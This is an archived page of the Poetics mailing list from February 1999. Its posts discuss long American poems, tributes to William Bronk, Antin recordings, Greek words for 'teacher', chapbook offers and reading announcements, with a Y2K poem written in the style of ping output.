poetics list moderator

↑ Index

291. Anastasios Kozaitis
Re: Goodbye Paul, Goodby Khlebnikov
Wed 24 Feb 1999

William Everson/Brother Antoninus "Tendril in the Mesh" Anne Carson, "The Autobiography of Red"

At 04:07 PM 2/23/99 +0000, you wrote:
>I mentioned Paul Schmidt's death to my Russian teacher this morning, who >expressed amazement that anyone could translate Khlebnikov into English, >since even Russians can't understand him!
>
>In Russian terms, I think Khlebnikov is very well-known for two or three >pieces (e.g., the laugh poem) and as an image. Perhaps something like >the non-literary educated American's sense of Stein.
>
>Khodasevich is the real "little known" Russian poet.
>
>I didn't have any problem with Steve Holden's obituary for Paul >Schmidt.
>
>The piece on Stein's Saints, on the other hand, was abysmal.
>

↑ Index

292. Maria Damon (Maria Damon)
Re: David Antin
Wed 24 Feb 1999

puff puff, i've got an article on Antin in Cultural Studies 5.1, entitled "Talking Yiddish at the Boundaries."

At 3:53 PM 2/23/99, Lowther,John wrote:
>poetix
>
>davidantin is one of my favorite poets & has had a huge impact on my >writing
>
>
>i've been trying to collect as much material by and about him as i can >find >and two things in particular have elluded me
>
>his book TALKING published by the Kulchur Foundation >and a special issue of the magazine VORT which focused on Antin and >Rothenberg
>
>ultimately i wd like to own both of these items but in the absense of >that >i'd like to get copies of the poems in the former that do not appear in >the >sun & moon SELECTED POEMS and copies of all the Antin specific material >in >VORT
>
>is there anyone who cd help me with this (i'm, of course, willing to pay >postage & copying costs etc)
>
>i've also got the beginnings of a bibliography started (with the help of >a >librarian friend) but i know that it's unfinished and it also doesn't >cover
>material about him by other critics poets etc
>
>any suggestions in this regard or discussion of Antin wd be cool
>
>
>thanx

>
>
>)L

↑ Index

293. Lowther,John
Re: long poem / Rosenthal
Wed 24 Feb 1999

---

somebody correct me if i'm wrong (i've erased the original message)

but aren't their two selection factors to be kept in mind
with regard to this long poem biz

1 - rooted in a sense of place

2 - written in the 60's

)L

↑ Index

294. Anastasios Kozaitis
Re: question
Wed 24 Feb 1999

Thaskal(os) or Thaskal(a)

At 08:31 AM 2/24/99 -0500, you wrote:
>Does any body know a sexy Greek word for "teacher"?
>
>Mike
>

↑ Index

295. Lowther,John David Antin - audio addendum +
Wed 24 Feb 1999

Michael McColl wrote to me w/ ref to Antin;

> I ordered a tape from the Watershed Foundation
> in D.C., along with some other stuff, but though > they charged my credit card, and I called for 6 > months and left messges, I never got the tape
> (or a refund).

and as it happens i meant to add a query to my post about Antin asking if anyone had tapes of him or knew of how/where to acquire them

Michael wd also i presume be interested to know if anyone has a cluse what's happened to Watershed

i've read that Antin decided against using certain poems in his SELECTED POEMS - presumably as they no longer satisfied his standards - these too i wd be interested in seeing/finding

)L

↑ Index

296. Peter Ganick
3 NEW Potes & Poets chapbooks
Wed 24 Feb 1999

---

3 new chapbooks from Potes & Poets Press not available yet anywhere else, with a special purchase offer to Poetics List-members...

THE BOOKS...

1) Free Fall, Vernon Frazer, 28 pp., $6...

Frazer is a Connecticut poet and fiction writer whose book] is a stream-of-consciousness episode full of typographical and linguistic curiosity. He has played acousic bass in what he calls his 'poetry band', and the improvisational aspect of this work is apparent. He is publisher of Beneath the Under- ground Press.

2) City of Angels, Ivan Arguelles, 52pp., $7...

Arguelles writes of sexuality and Eastern religion in a mix that generates a state of relatedness to one's inner being.
He has been published before many times, but is under-recognized as a poet who goes beyond the confines of 'the acceptable' in terms of discourse as we know it usually.
He lives and works in Berkeley CA.

3) Immanence, Peter Ganick, 63pp., $7...

Ganick's book consists of 15 poems of a philosophical nature. Issues of postmodernism and the Husserlian cogito are put into poetic terms. The poems weave a dense fabric of language and semi-disjunct syntax. Some concern the recent Impeachment trial of President Clinton.

He is publisher of Potes & Poets Press and teaches classical piano to children in the suburb of CT in which he lives.

THE DEAL...

All three books [a $22 value] to Poetics listmembers only for $15 postpaid [1st class, $2 extra]. These books won't be available anywhere else for a while.

Send me an email, and I will bill you. Don't forget to include your snailmail address and telephone number.

out,
peter

↑ Index

297. Maria Damon (Maria Damon)
Re: lorenzo thomas
Wed 24 Feb 1999

At 2:54 PM 2/23/99, Maria Damon wrote:
>does anyone out there have lorenzo thomas's e-mail? i had his card in my >hand not 1 hr ago, and now i can't find it. feeling like a dope --md

never mind i found it

↑ Index

298. Poetics List
William Bronk (1918-1999)
Wed 24 Feb 1999

I had to reformat this a bit - my apologies for the intrusion. Chris

---------- Original message (ID=BB766BCA) (170 lines)

Date: Tue, 23 Feb 1999 18:38:12 -0500
From: Edward Foster <[redacted]>
To: [redacted]
Subject: William Bronk (1918-1999)

I think always how we always miss it; how the dead have not been final, and life has always required to be stated again, which is not ever stated.
It is not art's statements only, not what we try to say by music, not the way this picture sculptures sight itself to see this picture - not by art alone

the aim is missed, and even least of all by art (which tries a whole world at once, a composition). No, it is in our terms, the terms themselves, which break apart, divide, discriminate, set chasms in that wide, unbroken experience of the senses which goes on and on, that radiation, inward and out, that consciousness which we divide, compare, compose, make things and persons of, make forms, make I and you. World, world, I am scared and waver in awe before the wilderness of raw consciousness, because it is all dark and formlessness: and it is real this passion that we feel for forms. But the forms are never real. Are not really there. Are not.

from "The Arts and Death: A Fugue for Sidney Cox"

Once, it had seemed the objects mattered: the light was to see them by.
Examined, they yielded nothing, nothing real.
They were for seeing the light in various ways.
They gathered it, released it, held it in.
In them, the light revealed itself, took shape.
Objects are nothing. There is only the light, the light!

from "The Annihilation of Matter"

Our minds are unmortared constructions of stone blocks which are all of them separate but we fit them closely together and know what blocks to go to for what we think or feel.
In between, are barely perceptible cracks.
Go in there. It will expand as you go.

"Caving In"

> From the Talisman interview:

WB: But are words other than what they mean? One problem about them is that we don't know what they mean. We think we know what they mean, but I have had literate people totally, as far as I'm concerned, misread a poem that I've written. I don't understand - How the hell did he come up with that? I didn't mean anything like that, and I think that I'm a fairly direct speaker in a poem, and I think that clarity is something that I usually achieve. But often it's a quite different clarity from what I intended. And I think it's fair to say it's a misreading of the poem, not simply that the poem has a reading that I didn't intend. I don't feel that.

EF: I don't believe one has complete control of language. It devises its own patterns.

WB: Oh, very much so in my own experience although I don't think that is the experience of a lot of other writers who work and rework a poem. My poems come to me in their own language, and if they were not in that language, they would not have any force. Sometimes before I get it written down, the language kind of slips, and I think: I don't know, that is not it, that's not it. I'm saying something which is intellectually more or less the equivalent, but it is flat - it doesn't work. And then if I'm fortunate, it will come back to me: oh, yes, that's the way the poem is, and it's simply a matter of changing the tone or changing the language - which would not be the case if it were a neutral kind of idea -

EF: But poems can be read without attention to "meaning." And there is great pleasure in reading for the music, for the song.

WB: Oh, there are times when the only way that we can read them is that because - "In the beginning was the Word, and the Word was with God, and the Word was God." Who knows what that means? Oh, I'm sure that there are thousands of people who will explain just exactly what John meant by that, but as far as I'm concerned, the meaning is nothing that I would try to explicate. And the whole force of it is destroyed by explication. And there are all sorts of things of that sort. But not every poetic expression is powerful in that way. It may still be valid. The nursery rhymes which are said to have had very specific, frequently political meanings in their own times, [a meaning] which is lost to most people today, and I expect that there are some scholars who will give you a rundown on "Humpty-Dumpty," for example - its political meaning. Who cares at this point? And in a sense it doesn't really mean anything, and yet we've all - It's part of our childhood and obviously did mean to us - Completely apart from its original sense.

EF: And there's poetry that sets up a rhythm, a tone that is pleasing, and doesn't make statements in a conventional way.

WB: John is making a statement.

EF: He is, but it's not in the realm of conventional discourse. We can't approach it through paraphrase.

WB: If you are simply trying to make a pleasant sound, then that's something else.

EF: No, the poetry I mean is more than that, but it's severed from the world of conventional meaning.

WB: Yes, but there's a distinction there between its having content and its not having content.

EF: Well, nonsense syllables, but I don't mean that. Gertrude Stein's Stanzas in Meditation clearly has meaning but not in any literal or usual way.

WB: But I think that you have to have something that you are meaning and not simply depending on the words to give you a meaning.

EF: There has to be personal intent?

WB: You have to mean it. You can't do it hoping that the words will mean something that you don't mean. I think that Gertrude was not depending on the words. I think that she meant something. She had something that she was saying, she wanted to say, and she wasn't saying, well, if I just do this - Although she was the one who promoted automatic writing: give the words their lead, and they'll tell you their meaning. So maybe I'm wrong about her.

EF: I don't think so.

WB: But you go back a few steps to what was said earlier about the words being in charge, the words taking control of expression - I have repeatedly had the experience, when the poem gets written down, of saying, oh, God, no, I don't mean that - but hesitating to change the meaning because it seems to me the way it has to be said - and then only later, maybe the next day, two days later, the next week: yes, I guess that's what I do mean. But the initial rejection of what the poem is saying because it seems to me something that I don't particularly want to mean, a meaning that makes me uncomfortable or embarrasses or contradicts something else I've said or whatever. Having to accept that when I've lived with it for a little while - Admitting, yes, yes, I guess that is what I mean.

↑ Index

299. D Baratier

Re: long poem / Rosenthal

Wed 24 Feb 1999

Muriel Rukeyser:
One Life is not the book, that might be a collected of hers. Individual long poems:
Theory of Flight 1935

Book of the Dead 1938
The Elegies 1949

and since many on your list are serial & not long poems per se:
John Berryman:
Sonnets to Chris
The Dream Songs (started in mid fifties)

Kenneth Patchen
Poemscapes

Weldon Kees
The Fall of the Magicians

Robinson Jeffers:
Cawdor

Be well

David Baratier

↑ Index

300. Maria Damon (Maria Damon)
Re: David Antin - audio addendum +
Wed 24 Feb 1999

---

i've got a copy of the watershed --did they cash your check? i think they're out of business== but they've got some great other tapes --brathwaite, shange, hagedorn, etc

At 10:46 AM 2/24/99, Lowther,John wrote:
>Michael McColl wrote to me w/ ref to Antin;
> I ordered a tape from the Watershed Foundation
> in D.C., along with some other stuff, but though > they charged my credit card, and I called for 6 > months and left messges, I never got the tape
> (or a refund).
>
>and as it happens i meant to add a query to my post about Antin asking if >anyone had tapes of him or knew of how/where to acquire them
>
>Michael wd also i presume be interested to know if anyone has a cluse what's >happened to Watershed
>
>i've read that Antin decided against using certain poems in his SELECTED >POEMS - presumably as they no longer satisfied his standards - these too i >wd be interested in seeing/finding

>
>)L

↑ Index

301. Billy Little
Re: long poem / Rosenthal
Wed 24 Feb 1999

Robert Duncan Passages
Robin Blaser Image Nations
Haniel Long Malinche
Haniel Long Interlinear To Cabeza Da Vaca
Kenneth Koch The Sun Tries To Go On William Carlos Williams Kora In Hell
William Carlos Williams Spring and All gerry gilbert moby jane george stanley san francisco's gone ed dorn north atlantic turbine ed dorn idaho out diane wakoski greed
john weiners hotel wentley poems amiri baraka preface to a twenty volume suicide note

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

302. Rita Zilberman
Re: long poem / Rosenthal
Wed 24 Feb 1999

Also post-1960, Frank Stanford's the battlefield where the moon says I love you (published '77).

--Rita

& even if you stayed US-sides after 60, there is major long work to be added:
Ed Dorn's Slinger, Robert Kelly's Axon Dendron Tree and The Loom, Rothenberg's Poland 1931, Ted Enslin's Forms, Synthesis, and Ranger, Diane Di

Prima's Loba, Steve Jonas' Orgasms/Dominations, David Meltzer's Hero/Lil, Frank Samperi's trilogy (The Prefiguration; Quadrifarian; and Lumen Gloriae), Ed Sanders' 1968, Anne Waldman's Iovis, -- not to mention such britishers as Allen Fisher's Place or Iain Sinclair's Lud Heat.

pierre

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

— Maurice Blanchot
==========

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

303. Steven Shoemaker
Re: Goodbye Paul, Goodby Khlebnikov
Wed 24 Feb 1999

Since we've been talking about the NYTBR, what did folks think of the unusually spacious take on Montale? He's a poet I don't know at all, and I did come away at least interested. Anyone know the work? steve

↑ Index

304. Edward Foster
Re: long poem / Rosenthal
Wed 24 Feb 1999

Talisman House, Publishers
P.O. Box 3157
Jersey City, NJ 07303-3157

On Tue, 23 Feb 1999, Kathy Lou Schultz wrote:

> Address for _Talisman_ anyone?
> (Thought I had the correct one, but just received something returned "not deliverable.")
> Thank-yee.
> [redacted]

↑ Index

305. Mairead Byrne
Re: long poem / Rosenthal
Wed 24 Feb 1999

Isn't One Life a biography? Definitely not poetry.
Mairead

On Wed, 24 Feb 1999, D Baratier wrote:

> Muriel Rukeyser:
> One Life is not the book, that might be a collected of hers. Individual long poems:
> Theory of Flight 1935
> Book of the Dead 1938
> The Elegies 1949
>
> and since many on your list are serial & not long poems per se:
> John Berryman:
> Sonnets to Chris
> The Dream Songs (started in mid fifties)
>
> Kenneth Patchen
> Poemscapes
>
> Weldon Kees
> The Fall of the Magicians
>
> Robinson Jeffers:
> Cawdor
>
> Be well

> David Baratier

↑ Index

306. Lowther,John
Buchler's THE MAIN OF LIGHT
Wed 24 Feb 1999

---

anybody familiar with this book ?

i brought up a comparison bewteen C.S.Peirce's categories and Pound's 'three types of poetry' on the Peirce listserv recently, and Buchler's book was suggested to me

)L

↑ Index

307. Judy Roitman
Another KS event
Wed 24 Feb 1999

Steve Tills
reading

Wednesday, March 10
7:30 p.m.
Canterbury House, 1116 Louisiana
Lawrence, KS

Steve Tills has published recently in Lyric &, Object, Juxta; forthcoming chapbook (Mr. Magoo) from Texture; coordinated Cinnabar Reading Series and directed Russian River Writers' Guild until May 1998.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

↑ Index

308. komninos zervos
Re: question
Wed 24 Feb 1999

---

male or female teacher?
komninos

Michael Boughn wrote:

> Does any body know a sexy Greek word for "teacher"?
>
> Mike

↑ Index

309. komninos zervos
Re: question
Wed 24 Feb 1999

---

despinis = miss kiri-e = sir
kiria = mrs.
there is no ms.
the greeks are like that!
komninos

Michael Boughn wrote:

> Does any body know a sexy Greek word for "teacher"?
>
> Mike

↑ Index

310. Billy Little
Re: long poem / Rosenthal
Thu 25 Feb 1999

John Ashbery's Three Poems must be included in any long poem discussion
Sharon Thesen's Confabulations
Michael Ondaatje's Collected Poems of Billy the Kid
Richard Brautigan's Gallillee Hitchhiker
Steve Jonas' Orgasms
Frank Davey's Capitalistic Affections or Patricia and Edward(what's that book?)
There's several knockout long poems in David MacFadden's There'll Be Another from Talonbooks
Lisa Robertson XEclogue

Barry McKinnon's The Centre
A Book Jack Of Spicer Music
Heads of the Town Up To The Ether Antler's Factory the best american poem since Howl it is a howl
Robert Kelly has written hundreds of humungous poems all quality amiri baraka in the tradition ed sanders the vfw crawling race ditto investigative poetry rd lang's knots is a masterpiece not quite american but very michael mcclure's poisoned wheat gary snyder's four directions ed dorn's gran apaceria charles olson's bibliography on america for ed dorn robert creeley's numbers tom raworth's tottering state bob perlman's seven poems rosemary waldrop's latest she's the poet charles bernstein always wanted to be shame on me i should have put Duncan McNaughton's Black Spoon right up there beside Amiri Baraka's In the Tradition Black Spoon is the essential poem of the generation a true jazz poem captured on the page Baraka's work though certainly the most powerful of his generation pales beside the actual pretty straightforward performance anybody that's organizing readings and not inviting Baraka is missing the point give him all your money if that's what it takes, make video.

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

311. Billy Little
Re: William Bronk, 1918-1999 (please see way
Thu 25 Feb 1999

---

each of us savouring him elizabeth press who even heard of it an innocent pleasure savoured in solitude

chewed and rechewed
if a poet could turn your ears to ice without speaking Bronk could

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

312. A. Jenn Sondheim

Y2K: NET:

Thu 25 Feb 1999

:

Y2K: NET:

Starting ping....
Host lookup cancelled
 You stupid we're all dead no one is here to help you.
Starting lookup...
Host lookup cancelled
 You stupid your wires are burned you're lucky you got this far.
Starting ping....
Pinging 166.84.0.97....
TIMED OUT
TIMED OUT
TIMED OUT
Ping Cancelled
Ping Unsuccessful
0 packets received out of 3 packets transmitted : 100% PACKET LOSS
 You stupid you're playing with yourself again just forget it.
Starting trace....
Tracing to 166.84.0.97....
Hops IP Address RTT(ms)
1 TIMED OUT
2 TIMED OUT
3 TIMED OUT
Trace Cancelled
Host not reached
 You stupid the world is dead you are one big scream.
Starting lookup...

You stupid your power's gone shutting you down idiot forever.
You s

↑ Index

313. Leonard Brink
Instress Spring Chapbooks
Thu 25 Feb 1999

The Instress Spring 1999 chapbook series is now available. The chapbooks are:

The Domain of Inquiry by Beth Anderson
Clepsydra by Laynie Browne
The World by Jono Schneider

Also included is the chapzine, Inscape #5, featuring the work of British Poets:

Tom Raworth
Miles Champion
Karlien van den Beukel
Kevin Nolan
John Wilkinson
Rod Mengham
Anthony Barnett
Peter Larkin
&
J.H. Prynne

All four publications are available, postage paid, for just $10 (or the publications can be ordered individually for $4 each) Please make checks payable to Leonard Brink, P.O. Box 3124, Saratoga, CA 95070

↑ Index

314. Ron Silliman
long poems
Thu 25 Feb 1999

No one to my knowledge has yet mentioned Frank Stanford's _the battlefield where the moon says I love you_, a really fine (and really strange) booklength work done by the late Arkansas surrealist when he was still in (or just out of -- are Forrest Gander or CD Wright on this list? they could fill in these blanks much better than I) his twenties.

Oppen's _Of Being Numerous_ also ought to be on that list. Ditto Creeley's _Pieces_, and Berrigan's _Bean Spasms_, Blackburn's _Journals_, Plus Ammons' Tape of the Turn of the Year (it's not only literary progressives who've written long poems), Donald Finkel's poem of his trip to the south pole. What else? Eventually we'll get to George Keithley's Donner Party, Vikram Seth's Golden Gate and some really godawful work.

↑ Index

315. Burt Hatlen
Re: POETICS Digest - 23 Feb 1999 to 24 Feb 1999 (#1999-32)
Thu 25 Feb 1999

Re: David Baratier

Rukeyser's _One Life_ definitely IS a long poem (book length, combining prose and verse). I was very pleased to see it on this list--another "disappeared" masterwork of our century.

Burt Hatlen

↑ Index

316. Rebecca Wolff
Anne Carson Re-Scheduled
Thu 25 Feb 1999

Dear List:

Fence would like to announce the rescheduling of Anne Carson's reading, cancelled a few weeks ago due to illness. She's all better now, and will be reading with David Means (fiction writer)

Friday, March 5th (that's next week) at 7 pm at Teachers & Writers, 5-9 Union Square West, 7th floor
New York City

Admission is $8, or $14 gets you a subscription to Fence.

For those who attended our February 6th spontaneous pairing of the gracious Ann Lauterbach and Jeffrey Eugenides:

Don't forget to bring your purple piece of paper for half-price admission!

↑ Index

317. Michael Heller
(no subject)
Thu 25 Feb 1999

George Oppen's "Of Being Numerous" (1968) ought to be added to the 1960s long poem list.

↑ Index

318. Charles Bernstein
Creeley on Bronk
Thu 25 Feb 1999

Robert Creeley wrote this for the EPC's obituary pages (http://writing.upenn.edu/epc/documents/obits/), where it will shortly appear.

***

William Bronk's Passing

Although one saw him but rarely, there was a strong sense of bond between us as two who had begun together back at the close of the 40s, in Cid Corman's Origin. We had a mutual friend, a little older than I was -- as was Bill as well -- Samuel French Morse, a friend also of Cid Corman's, by way of Gordon Cairnie's transforming Grolier Book Shop in Cambridge. I was trying to start a little magazine and Bill had sent me some poems (at Sam's suggestion), which were printed in Origin, when the magazine I intended fell apart.

Much has been said about William Bronk's relation to Wallace Stevens. There is certainly an active sense of parallel, particular in the pace, the reflective rhetoric, and in the use of pronouns. But Stevens is a much lighter poet, if that's the word, letting thought be both way in and way out, a play of mind rather than its adamant conviction. It was not surprising when Stevens converted at last to Catholicism. Bronk's Protestant determination never changed.

I recall those early poems had often a humor, neither droll nor necessarily relieving. It was a humor of situation, that one was in this world indeed, just so. Bill thought about it all his extraordinary life. In that he was very like Emily Dickinson, seemingly alone yet compact with existence, flooded with insistent intelligence and proposal. One notices how particularly his poems return, loop, rather, about their factors of statement. "Here" is the only place he ever was.

Our first meeting was at a reading I'd had in New York, and he came up to introduce himself just after, but really to tell me with a look of real consternation, that he would never have imagined I'd read my poems as I did, stuttering, seeming almost in pain -- why? I had no answer. He read his own thoughtfully, firmly, considering. When, a few years ago, he was unable to attend a festival we were both to be at, a tape of his reading was provided, and so I sat with others listening to that dependable, quiet voice speak through the lines of an age old human wondering. Why indeed, I thought -- it was a good question.

Back home, I called him to tell him all had gone well, and we mused a bit on life, on what it had been to be poets. As he said, one had never thought of it as a "career" or as any such. One did it simply. Charles Olson valued him quite probably more than any other of his contemporaries -- it was the measure of intelligence he constituted, the address of his means to the given world. Finally, there was no one else quite like him, so large in his singleness, so separate yet enclosing. One will not see his like again.

Robert Creeley
Buffalo, N.Y.
February 25, 1999

↑ Index

319. dbkk

Two Guys Named Jeff: Clark and Derksen at SPT

Thu 25 Feb 1999

Small Press Traffic presents "Life/Forms: New Ways to See It, New Ways to Say It"

A weekend residency with Jeff Derksen

Two Guys Named Jeff: Reading with Jeff Clark
Friday, February 26, 7:30 p.m.
New College Theater
777 Valencia Street
$5

Salon
Saturday, February 27
1:00-3:00 p.m.
Lunch with Jeff Derksen at Espresso Bravo Cafe
663 Valencia (between 17th and 18th)
Stop by for great coffee, conversation, cheap food.

Talk
Saturday, February 27, 7:30 p.m.
Poetry and Social Relations: Recent Rearticulatory Practices
New College Theater

777 Valencia Street
$5

For the third installment of Small Press Traffic's "Life/Forms" series, we will have a weekend with Jeff Derksen, the brilliant Canadian poet and controversialist, the man who knows, better than any other, why so much of today's best writing, including his own, mixes up the social, the personal, and the political. Jeff Derksen's Down Time (1990) and Dwell (1994) from Vancouver's Talonbooks are classic, and there's a new one I haven't seen calledBut Can I Make a Living from It (Hole Books, 1998). Former editor of Writing Magazine. Board Member of The Kootenay School of Writing (Vancouver) and Truck Gallery (Calgary). Edited the groundbreaking "Disgust & Overdetermination: a poetics issue" of Open Letter. Articles on art and poetics have appeared in Poetics Journal, Fuse, West Coast Line, and others. Currently working on a new poetry MS: I Need to Know If this Is Normal and a book of essays: From Form: Essays in Cultural Poetics.

How did it happen that two of our great hopes for 1990s poetry are both called "Jeff" (and what about Jeff Buckley???) Jeff Clark, born 1971, attracted national attention with the publication (by Sun & Moon) of his first book The Little Door Slides Back, a weird, touching, magical blend of Marc Bolan, Mary Butts, Angela Carter and Austin Powers. This international man of mystery was born in southern California to a Disneyland tourguide and a lounge performer. In the early 90s he drummed for the experimental band BUICK, and now lives in San Francisco. He is the author of The Little Door Slides Back (Sun & Moon). His work has appeared in American Letters & Commentary, Angle, Grand Street, Ribot, Tool, and ZYZZYVA. This will be his first poetry reading ever so skip Velvet Goldmine and come and see two guys named Jeff.

↑ Index

320. MAYHEW
(no subject)
Thu 25 Feb 1999

There are more Bronk devotees than I had imagined; someone besides me has been buying these books all these years.

The Music of the Spheres, An Allegory for William Bronk (1918-1999), In Memoriam

This store sells many kinds of drums and cymbals, sticks and brushes, drum hardware.
We come in to look at new products, glossy brochures, vintage snares. We are engaged.

Often we make small or large purchases;
children, and some adults, take lessons in the basement.

Yet afterwards it is as if none of this had mattered.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

321. nuyopoman
Belly of the Beast
Thu 25 Feb 1999

> name Oliver Wolf
> email [redacted]
> nation USA
> city New York City
> comments Mr. Thomas
> I don't know if you've already heard about or seen this but an > episode of rock n roll Jeopardy had a category re Cleveland ("Cleveland > Rocks" maybe?)
> The hardest question in the category was something along the lines of > "this pioneering Cleveland band took it's > name from Jarry's Ubu Roi, etc. I don't have to add that nobody got it. My > wife and I looked at each other and at the > same time said "Pere Ubu" excitedly and then she dropped her plate of > spaghetti all over the couch.
> thanks a lot.
> choice Comment/Query Only.
> ----- END FORM -----

↑ Index

322. Poetics List
Re: long poem / Rosenthal
Thu 25 Feb 1999

---------- Original message (ID=0609C7AC) (77 lines)

Date: Wed, 24 Feb 1999 08:53:47 -0800
To: UB Poetics discussion group <[redacted]>
From: Mark Weiss <[redacted]>
Subject: Re: long poem / Rosenthal

Rochelle Owens' Joe 82 Creation Poems

>> From: Charles Alexander <[redacted]>
>> Subject: Re: long poem / Rosenthal
>>
>> A lot of post-1960 work in this list (Silliman, Blau Du Plessis, and >> others). If you're going to include post-1960 work I would hope you would >> define "American" as meaning more of the continent than the United States, >> so as not to leave off marvelous works by bpNichol, Phyllis Webb, Daphne >> Marlatt, George Bowering, and other Canadians. Plus Brathwaite, Walcott, >> and other Caribbean writers. I apologize for not being so informed about >> pre-1960 Canadian work -- perhaps others could help in this regard.
>>
>> charles

↑ Index

323. Poetics List

Fw: [CHOMSKY] Ten Worst Corporations of 1998

Thu 25 Feb 1999

---------- Original message (ID=3252809E) (144 lines)

From: [redacted]
Date: Wed, 24 Feb 1999 12:15:43 EST
To: [redacted]
Cc: [redacted]

poetry anyone?

joe brennan

-----Original Message-----
From: James Doucette <[redacted]>
To: [redacted] <[redacted]>
Date: Thursday, January 14, 1999 4:03 AM
Subject: [CHOMSKY] Ten Worst Corporations of 1998

>> ----------
>>
>> Date: Wed, 13 Jan 1999 02:45:49 -0500
>> From: [redacted]
>> Subject: (en) Ten Worst Corporations of 1998
>>
>> _____

>> A-INFOS NEWS SERVICE
>> http://www.ainfos.ca/
>> _____
>>
>> Multinational Monitor's Ten Worst Corporations of 1998 are:
>> * Chevron, for continuing to do business with a brutal dictatorship in >> Nigeria and for alleged complicity in the killing of civilian protesters.
>>
>> * Coca-Cola, for hooking America's kids on sugar and soda water. Today, >> teenage boys and girls drink twice as much soda pop as milk, whereas 20 >> years ago they drank nearly twice as much milk as soda.
>>
>> * General Motors, for becoming an integral part of the Nazi war machine, >> and then years later, when documented proof emerges, denying it.
>>
>> * Loral and its chief executive Bernard Schwartz, for dumping $2.2 million >> into Clinton/Gore and Democratic Party coffers. The Clinton administration >> responded by approving a human rights waiver to clear the way for >> technology transfers to China.
>>
>> * Mobil, for supporting the Indonesian military in crushing an indigenous >> uprising in Aceh province and allegedly allowing the military to use >> company machinery to dig mass graves.
>>
>> * Monsanto, for introducing genetically engineered foods into the >> foodstream without adequate safety testing and without labeling, thus >> exposing consumers to unknown risks.
>>
>> * Royal Caribbean Cruise Lines, for pleading guilty to felony crimes for >> dumping oil in the Atlantic Ocean and then lying to the Coast Guard about >> it.
>>
>> * Unocal, for engaging in numerous acts of pollution and law violations, >> to such a degree that citizens in California petitioned the state's >> attorney general to revoke the company's charter.
>>
>> * Wal-Mart, for crushing small town America, for paying low, low wages (a >> huge percentage of Wal-Mart workers are eligible for food stamps), for >> using Asian child labor and for homogenizing the population; and last, but >> not least,

>>
>> * Warner-Lambert, for marketing a hazardous diabetes drug, Rezulin, which >> has been linked to at least 33 deaths due to liver injuries.
>>
>>
>>
>> ********
>> The A-Infos News Service
>> ********
>> COMMANDS: [redacted]
>> REPLIES: [redacted]
>> HELP: [redacted]
>> WWW: http://www.ainfos.ca/
>> INFO: http://www.ainfos.ca/org

↑ Index

324. Poetics List
Re: long poem / Rosenthal
Thu 25 Feb 1999

This one came to me instead of the list. Chris

From: "SAMUEL GARREN" <[redacted]>
Subject: Re: long poem / Rosenthal
Date: 2/24/99 11:05 AM -0500

Others I thought of include: MidQuest, Fred Chappell (LSU Press); Mountains and Rivers without End, G. Snyder; Gunslinger, Ed Dorn; On Bear's Head (?), Phillip Whalen [not sure about it; may be separate poems, but I think it's one}; ; There's also a long one by Robert Duncan whose title escapes me. The Chappell one's an interesting one, each section is related to one of the elements, fire wind, water, earth, etc.

↑ Index

325. Poetics List
Portable Creative Writing Workshop
Thu 25 Feb 1999

This one came to me instead of the list. Chris

From: "Kevin Daly" <[redacted]>

Subject: Portable Creative Writing Workshop
Date: 2/24/99 2:45 PM +0000

New Publication of interest to poets and writers:

THE PORTABLE CREATIVE WRITING WORKSHOP, a new 200 page handbook for writers of poetry and short fiction, featuring games, exercises, technical advice and challenge, written by prize-winning Irish poet and fiction writer Pat Boran, and with specially written contributions from over two dozen poets, fiction writers and playwrights - including Maeve Binchy, Eavan Boland, Roddy Doyle, Seamus Heaney, Paula Meehan, Joseph O'Connor and Marina Warner -is published the first week of March by Salmon Publishing.

To find out more about the book, see SALMON WEB PAGES http://www.salmonpoetry.com or PAT BORAN HOME htt

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

326. Maria Damon
Re: long poem / Rosenthal
Thu 25 Feb 1999

---

who is haniel long? great name, interesting titles

↑ Index

327. Mark Weiss
Re: Goodbye Paul, Goodby Khlebnikov
Thu 25 Feb 1999

Check out current NYRB for a fuller take.

At 12:58 PM 2/24/99 -0500, you wrote: >Since we've been talking about the NYTBR, what did folks think of >the unusually spacious take on Montale? He's a poet I don't know at all, >and I did come away at least interested. Anyone know the work? steve
>
>

↑ Index

328. Daniel Kane
Events at Teachers & Writers Collaborative
Thu 25 Feb 1999

For those of you in the New York City area; you might want to look at the schedule of events for T&W, posted on T&W's web page at http://www.twc.org/events.htm

Very good things going on over the next few months -- Jordan Davis's "Poetry City" poetry-reading series, a lecture by Alice Notley on William Carlos Williams, and a whole lot more. All events are free -- including the copious wine, cheese, babaganoush, etc.

↑ Index

329. Gerald Schwartz
Re: long poem / Rosenthal
Thu 25 Feb 1999

Hello:

Have you included any of Hayden Carruth's long poems? He has made a number of them, particularly outstanding are: ASYLUM(1957), MY FATHER'S FACE(1968), VERMONT(1975) and THE SLEEPING BEAUTY(1970-1980). Technically, he is a virtuoso, and he, more than many others, had a steady hand on the narrative structure.

Best,

Gerald Schwartz

↑ Index

330. Erik Sweet
"Tool A Magazine" party in NYC Friday night
Thu 25 Feb 1999

In New York City
@ 8:30 PM EST
Tomorrow night (2/ 26) at Segue, 303 E 8th street, betweeen Aves B & C...

A Reading and Celebration for issue # 2 of "Tool a Magazine."

Featured Readers: Sean Killian, Brian Lucas, Brenda Iijima, Gary Sullivan Brenda Coultas, Doug Rothchild, Jorge Clar

plus MCs Jordan "Thunder" Davis and Anselm "Rain" Berrigan

Issue # 2 will be for sale and features many writers including:

Alice Notley, Jorge Clar, Clark Coolidge, Paul Metcalf, Eleni Sikelianos, Brenda Coultas, Brian Lucas plus much more....

Fantastic Prizes for the first 15 buyers!!!!!!

↑ Index

331. izak
greek for teacher
Thu 25 Feb 1999

---

the sexier one was "daskala"

but "kathigitria" would make a sexy "professor"

for male teachers

"daskalos" and "kathigitis"

